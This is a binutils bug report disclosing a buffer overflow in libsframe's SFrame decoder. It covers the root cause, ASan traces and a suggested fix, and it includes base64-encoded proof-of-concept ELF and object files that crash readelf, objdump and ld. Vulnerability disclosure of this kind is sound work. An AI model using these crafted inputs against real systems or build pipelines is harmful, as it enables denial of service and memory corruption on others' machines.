https://sourceware.org/bugzilla/show_bug.cgi?id=34417
Bug ID: 34417
Summary: OOB access in libsframe sframe_decode_fre():
datawords_sz is copied into the 24-byte
fre_datawords[] with the size check performed only
after the memcpy. A crafted .sframe section triggers a
buffer overflow via readelf/objdump (stack) and via ld
(heap)
Product: binutils
Version: 2.48 (HEAD)
Status: UNCONFIRMED
Severity: normal
Priority: P2
Component: binutils
Assignee: unassigned at sourceware dot org
Reporter: achintya at umail dot ucsb.edu
Target Milestone: ---
Created attachment 16854
--> https://sourceware.org/bugzilla/attachment.cgi?id=16854&action=edit
It contains a zip with a poc and a crash report for both variants
================================================================================
VERSION
================================================================================
`readelf --version` prints:
"GNU readelf (GNU Binutils) 2.47.50.20260720"
This is git master, commit cef1fbf3b02ff6e5bc62e1b8a7d30c0a32b8b9f7
(dated 2026-07-20). Per binutils' versioning convention, bfd/version.m4 =
BFD_VERSION 2.47.50 on master denotes the DEVELOPMENT version heading to the
2.48 release (the 2.47 release branch, binutils-2_47-branch, carries 2.46.90);
this commit is on master, past the 2.47 branch point.
Affected versions -- the defect is present in BOTH:
* git master (2.47.50, -> 2.48 development), commit above; and
* the binutils-2_47-branch (2.46.90, -> the upcoming 2.47 release): its
libsframe/sframe.c still performs the memcpy before any size check
(verified), so the forthcoming 2.47 release is affected as well.
Not fixed as of either branch.
================================================================================
BUILD CONFIGURATION (from config.status)
================================================================================
Host/target configuration name: x86_64-pc-linux-gnu
configure options:
--disable-gdb --disable-gdbserver --disable-sim --disable-gprofng
--disable-werror --disable-nls --enable-targets=alpha-dec-vms
Compiler: clang 14.0.0 (Ubuntu 14.0.0-1ubuntu1.1), -O2.
NOTE: the defect is in libsframe source and is independent of compiler,
optimization level, and --enable-targets. It was observed with several build
configurations (see "OBSERVED BEHAVIOUR" below); the SFrame dump path in
readelf/objdump and the SFrame section-merge path in ld are always built.
================================================================================
WHAT WENT WRONG / WHAT SHOULD HAVE HAPPENED
================================================================================
What went wrong:
When decoding a single SFrame Frame Row Entry (FRE), libsframe copies
`datawords_sz` bytes of attacker-controlled data into the fixed 24-byte
buffer `fre->fre_datawords` WITHOUT first checking `datawords_sz`. The
size is derived from the FRE info byte and can be as large as 60
(offset_size = 4 bytes, offset_count = 15 -> 15 * 4 = 60), overflowing the
24-byte destination by up to 36 bytes with fully attacker-controlled content.
What should have happened:
sframe_decode_fre() should reject an FRE whose encoded datawords size exceeds
MAX_DATAWORD_BYTES (24) BEFORE the memcpy -- i.e. the existing
sframe_fre_sanity_check_p() constraint (dataword_cnt <= MAX_NUM_DATAWORDS)
must be enforced prior to copying -- and return SFRAME_ERR_FRE_INVAL.
readelf/objdump should then print an SFrame decode error, and ld should
reject the malformed input section, instead of overrunning the buffer.
================================================================================
ROOT CAUSE (libsframe/sframe.c, sframe_decode_fre)
================================================================================
1381 memset (fre->fre_datawords, 0, MAX_DATAWORD_BYTES); /* 24 bytes */
1383 datawords_sz = sframe_fre_datawords_bytes_size (fre->fre_info);
1384 datawords = fre_buf + addr_size + sizeof (fre->fre_info);
1385 memcpy (fre->fre_datawords, datawords, datawords_sz); <-- OVERFLOW
...
1388 fre_size = sframe_fre_entry_size (fre, fre_type);
1390 sframe_assert (fre_size == (addr_size + ... + datawords_sz));
fre->fre_datawords is `unsigned char[MAX_DATAWORD_BYTES]` with
MAX_DATAWORD_BYTES == 24 (include/sframe-api.h).
sframe_fre_datawords_bytes_size() returns dataword_cnt * (dataword_size * 2)
for 2/4-byte offsets; with a 4-byte offset size and offset_count 15 this is
60 -- 36 bytes past the destination.
The relevant guard, sframe_fre_sanity_check_p() (which rejects
dataword_cnt > MAX_NUM_DATAWORDS == 6), is only consulted by callers AFTER
sframe_decode_fre() has already performed the memcpy (e.g.
sframe_decoder_get_fre() at sframe.c:1868), so it cannot prevent the
overflow.
The post-copy sframe_assert() at line 1390 also fires too late -- the
out-of-bounds access has already occurred.
The bug is caller-storage-independent: sframe_decode_fre() overflows whatever
`fre` buffer it is given. This yields two reachable manifestations of the
same defect:
(a) stack buffer overflow -- readelf/objdump SFrame dump path
(sframe_decoder_get_fre / sframe_find_fre use a stack-local FRE)
(b) heap buffer overflow -- ld SFrame section-merge path
(sframe_encoder_add_fres_buf, sframe.c:2246, uses a heap FRE slot)
================================================================================
REPRODUCTION
================================================================================
Two self-contained testcases are given below and as an attachment to this
report as base64 (each is a tiny crafted
input; no system libraries or other objects are needed). Decode with:
base64 -d > FILE
------------------------------------------------------------------------------
Case A -- readelf/objdump, STACK overflow (primary, simplest)
------------------------------------------------------------------------------
Tool options at run time:
readelf --sframe poc_sframe.elf
objdump --sframe poc_sframe.elf (equivalent path)
Input file poc_sframe.elf (392 bytes; sha256
7c6c727135683aac7d8d611f7588db630274b5f0a0c34f22b57a99e95736acbd):
A minimal ELF64 whose only meaningful content is a `.sframe` section carrying
one SFrame FDE + one FRE with fre_info = 0x5E (offset_size = 4B,
offset_count = 15 -> datawords_sz = 60).
poc_sframe.elf (base64):
f0VMRgIBAQAAAAAAAAAAAAEAPgABAAAAAAAAAAAAAAAAAAAAAAAAAMgAAAAAAAAAAAAAAEAAAAAA
AEAAAwACAOLeAgADAAAAAQAAAAEAAAA+AAAAAAAAABQAAAAAAAAAAAEAAAAAAAABAAAAAAAAAABe
QUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFB
QUFBAC5zZnJhbWUALnNoc3RydGFiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAAAAAAAAAAAAQAAAAEAAAAAAAAAAAAAAAAAAAAA
AAAAQAAAAAAAAABuAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAkAAAADAAAAAAAAAAAA
AAAAAAAAAAAAAK4AAAAAAAAAEwAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAA=
------------------------------------------------------------------------------
Case B -- ld, HEAP overflow (SFrame section merge)
------------------------------------------------------------------------------
Tool options at run time:
ld poc_ld.o -o /tmp/out -e foo
Input file poc_ld.o (712 bytes; sha256
eec9114b6ea122f296ee209ffd228345cf5ac13456aa6b6380525a9c94c58839):
A relocatable x86-64 object with a version-3 SFrame section (type
SHT_GNU_SFRAME, one FDE + one malicious FRE, fre_info = 0x5E) and a matching
.rela.sframe entry, so ld's SFrame merge (_bfd_elf_merge_section_sframe ->
sframe_encoder_add_fres_buf -> sframe_decode_fre) processes the FRE.
poc_ld.o (base64):
f0VMRgIBAQAAAAAAAAAAAAEAPgABAAAAAAAAAAAAAAAAAAAAAAAAAAgBAAAAAAAAAAAAAEAAAAAA
AEAABwAGAMMAAAAAAAAA4t4DBAMAAAABAAAAAQAAAAcAAAAAAAAAEAAAAAAAAAAAAAAACAAAAAAA
AAABAAAAAABeAAAAAAAcAAAAAAAAAAIAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAABAAAAEgABAAAAAAAAAAAAAQAAAAAAAAAAZm9vAAAudGV4dAAuc2ZyYW1lAC5yZWxhLnNm
cmFtZQAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAABAAAABgAAAAAA
AAAAAAAAAAAAAEAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAHAAAA9P//
bwIAAAAAAAAAAAAAAAAAAABIAAAAAAAAADMAAAAAAAAAAAAAAAAAAAAIAAAAAAAAAAAAAAAAAAAA
DwAAAAQAAABAAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAYAAAAAAAAAAQAAAACAAAACAAAAAAAAAAY
AAAAAAAAABwAAAACAAAAAAAAAAAAAAAAAAAAAAAAAJgAAAAAAAAAMAAAAAAAAAAFAAAAAQAAAAgA
AAAAAAAAGAAAAAAAAAAkAAAAAwAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAUAAAAAAAAAAAAA
AAAAAAABAAAAAAAAAAAAAAAAAAAALAAAAAMAAAAAAAAAAAAAAAAAAAAAAAAAzQAAAAAAAAA2AAAA
AAAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAA==
(Both testcases were produced by small generator scripts; the exact byte
layout and the reasoning are reproducible on request. They contain no real
code -- only the crafted metadata sections needed to reach the decoder.)
================================================================================
OBSERVED BEHAVIOUR
================================================================================
Root-cause confirmation under AddressSanitizer (clang -fsanitize=address):
Case A (readelf --sframe poc_sframe.elf):
ERROR: AddressSanitizer: stack-buffer-overflow ...
WRITE of size 60 at 0x... thread T0
#0 __asan_memcpy
#1 sframe_decode_fre libsframe/sframe.c:1385
#2 sframe_decoder_get_fre libsframe/sframe.c:1866
#3 dump_sframe_func_fres_simple libsframe/sframe-dump.c
... readelf --sframe
Case B (ld poc_ld.o -o /tmp/out -e foo):
ERROR: AddressSanitizer: heap-buffer-overflow ...
READ of size 60 at 0x... (0 bytes to the right of a 7-byte region)
#0 __asan_memcpy
#1 sframe_decode_fre libsframe/sframe.c:1385
#2 sframe_encoder_add_fres_buf libsframe/sframe.c:2246
#3 _bfd_elf_merge_section_sframe bfd/elf-sframe.c:595
#4 elf_link_input_bfd bfd/elflink.c:12236
... ld
Behaviour in ordinary (non-ASan) builds, clang -O2:
* Default build (asserts enabled, which is the binutils default -- the tree
defines no NDEBUG): both cases abort via the post-copy assertion:
"sframe.c:1390: ... Assertion `fre_size == (addr_size + ... +
datawords_sz)' failed." -> SIGABRT.
The out-of-bounds memcpy has already executed at this point; the assert
merely detects the resulting inconsistency afterwards.
* With -DNDEBUG (assertions compiled out):
- readelf --sframe: the stack overflow trips -fstack-protector-strong:
"*** stack smashing detected ***: terminated" -> SIGABRT.
- ld: the memcpy completes with NO diagnostic (exit 0); the input-buffer
over-read / adjacent-entry write are silent.
Note: _FORTIFY_SOURCE=2 does NOT catch this memcpy. Because `fre` is an
opaque pointer parameter, __builtin_object_size(fre->fre_datawords, 1) is
unknown, so the compiler emits a plain memcpy (verified by disassembly:
sframe_decode_fre calls memcpy@plt, not __memcpy_chk).
================================================================================
IMPACT
================================================================================
Reachable from an untrusted input file with no special privileges (analysing or
linking an attacker-supplied ELF/object). One root defect, three sinks:
- readelf --sframe / objdump --sframe : stack buffer overflow, controlled
content, bounded length (<=36 bytes past a fixed 24-byte buffer) [CWE-121]
- ld (SFrame merge) : heap buffer over-read of the decoder
FRE buffer (and an intra-allocation over-write of the encoder FRE table)
[CWE-125 / CWE-787]
Realistic case is denial of service (a crash while processing a crafted
file): guaranteed on the readelf/objdump path (assert or stack canary) and, in
default asserts-enabled builds, on the ld path. In an -DNDEBUG ld build the
input-buffer over-read is
undetected (potential minor information disclosure into the emitted .sframe,
and
output corruption).
================================================================================
SUGGESTED FIX
================================================================================
Validate the encoded datawords size before the copy in sframe_decode_fre(),
e.g. reject any FRE whose fre_info implies more than MAX_DATAWORD_BYTES bytes
(equivalently, enforce sframe_fre_sanity_check_p()'s dataword_cnt <=
MAX_NUM_DATAWORDS before the memcpy rather than after it):
datawords_sz = sframe_fre_datawords_bytes_size (fre->fre_info);
if (datawords_sz > MAX_DATAWORD_BYTES)
return sframe_set_errno (&err, SFRAME_ERR_FRE_INVAL);
datawords = fre_buf + addr_size + sizeof (fre->fre_info);
memcpy (fre->fre_datawords, datawords, datawords_sz);
This fixes all three manifestations (readelf/objdump stack write, ld heap
read, ld encoder-table write) with a single check.
--
You are receiving this mail because:
You are on the CC list for the bug.